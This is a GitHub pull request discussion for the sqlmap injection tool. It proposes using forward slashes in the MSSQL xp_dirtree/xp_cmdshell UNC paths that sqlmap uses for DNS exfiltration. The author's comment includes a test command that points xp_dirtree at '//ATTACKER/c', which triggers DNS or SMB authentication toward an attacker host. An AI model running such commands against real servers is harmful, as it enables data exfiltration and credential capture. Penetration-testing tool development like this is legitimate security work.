Change MSSQL dns_request.sql to reduce escaping issues by missing0x00 · Pull Request #5849 · sqlmapproject/sqlmap · GitHub
Skip to content

Change MSSQL dns_request.sql to reduce escaping issues#5849

Open
missing0x00 wants to merge 1 commit intosqlmapproject:masterfrom
missing0x00:patch-1
Open

Change MSSQL dns_request.sql to reduce escaping issues#5849
missing0x00 wants to merge 1 commit intosqlmapproject:masterfrom
missing0x00:patch-1

Conversation

@missing0x00
Copy link
Copy Markdown

Modified the xp_dirtree and xp_cmdshell UNC paths to use forward slashes instead of backslashes, and removed the space between the procedure name and quoted path.

These changes help to avoid escaping/encoding issues, for example when using JSON. MSSQL still handles it the same way and will cause a DNS query or SMB authentication attempt.

Modified the xp_dirtree and xp_cmdshell UNC paths to use forward slashes instead of backslashes, and removed the space between the procedure name and quoted path.

These changes help to avoid escaping/encoding issues, for example when using JSON. MSSQL still handles it the same way and will cause a DNS query or SMB authentication attempt.
@Dark0verl0rd
Copy link
Copy Markdown

@stamparm
Copy link
Copy Markdown
Member

  1. old way should work. it always worked AFAIK
  2. i haven't found a reference for this claim that \ can be replaced with // in SMB/UNC paths

@missing0x00
Copy link
Copy Markdown
Author

  1. old way should work. it always worked AFAIK

It works in nearly all cases, but I found a vulnerability where DNS exfil was failing until I made these changes. The vulnerable parameter was in in a JSON request, so that's my best guess as to why it was failing. Backslashes do work in most cases, but forward slashes are generally less likely to run into escaping issues in the initial request or somewhere on the backend.

Maybe ideally it could try both and use the one that works?

  1. i haven't found a reference for this claim that \ can be replaced with // in SMB/UNC paths

Surprisingly I haven't been able to find a reference for this either, but it works consistently in both injection and direct SQL execution context. Not sure why it isn't more widely documented.

Example command to test:
PS C:\> Invoke-Sqlcmd -ServerInstance "SQL01.test.local" -Query "EXEC xp_dirtree '//ATTACKER/c'"

@missing0x00
Copy link
Copy Markdown
Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants